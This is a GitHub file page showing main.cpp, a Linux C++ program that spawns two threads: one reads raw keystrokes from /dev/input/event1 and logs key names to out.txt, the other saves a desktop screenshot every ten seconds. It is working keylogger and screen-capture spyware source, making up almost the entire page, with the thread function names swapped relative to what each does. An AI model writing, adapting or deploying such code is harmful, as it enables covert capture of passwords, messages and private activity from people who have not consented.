-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
157 lines (141 loc) · 2.41 KB
/
main.cpp
File metadata and controls
157 lines (141 loc) · 2.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/input.h>
#include <sys/stat.h>
#include <fstream>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <pthread.h>
#include <string>
using namespace std;
// global vars
void * key_logger(void *);
void * screenshot(void *);
pthread_t th1, th2;
int fd;
ofstream myfile;
const char *keycodes[] = {
"RESERVED",
"ESC",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"0",
"MINUS",
"EQUAL",
"BACKSPACE",
"TAB",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"LEFTBRACE",
"RIGHTBRACE",
"ENTER",
"LEFTCTRL",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
"SEMICOLON",
"APOSTROPHE",
"GRAVE",
"LEFTSHIFT",
"BACKSLASH",
"Z",
"X",
"C",
"V",
"B",
"N",
"M",
"COMMA",
"DOT",
"SLASH",
"RIGHTSHIFT",
"KPASTERISK",
"LEFTALT",
"SPACE",
"CAPSLOCK",
"F1",
"F2",
"F3",
"F4",
"F5",
"F6",
"F7",
"F8",
"F9",
"F10",
"NUMLOCK",
"SCROLLLOCK"
};
// controll + c signall handler for closing the file and killing the threads
void sig_term_handler(int signum, siginfo_t *info, void *ptr)
{
myfile.close();
close(fd);
pthread_cancel(th1);
pthread_cancel(th2);
exit(0);
}
void catch_sigterm()
{
static struct sigaction _sigact;
memset(&_sigact, 0, sizeof(_sigact));
_sigact.sa_sigaction = sig_term_handler;
_sigact.sa_flags = SA_SIGINFO;
sigaction(SIGINT, &_sigact, NULL);
}
// main function
int main()
{
catch_sigterm();
myfile.open ("out.txt");
fd = open("/dev/input/event1" , O_RDONLY);
pthread_create(&th1, NULL, key_logger, NULL);
pthread_create(&th2, NULL, screenshot, NULL);
pthread_join(th1, NULL);
pthread_join(th2, NULL);
}
// thread functions
void * key_logger(void *ptr)
{
int i = 0;
while (1){
system("gnome-screenshot -f screenshot");
system( (string("mv screenshot screenshot" + to_string(i))).c_str() );
sleep(10);
i++;
}
}
void * screenshot(void *ptr)
{
struct input_event ev;
while (1) {
usleep(100);
read(fd , &ev , sizeof(ev));
if ( (ev.type == EV_KEY) && (ev.value == 0) ) {
myfile << keycodes[ev.code] << endl;
}
}
}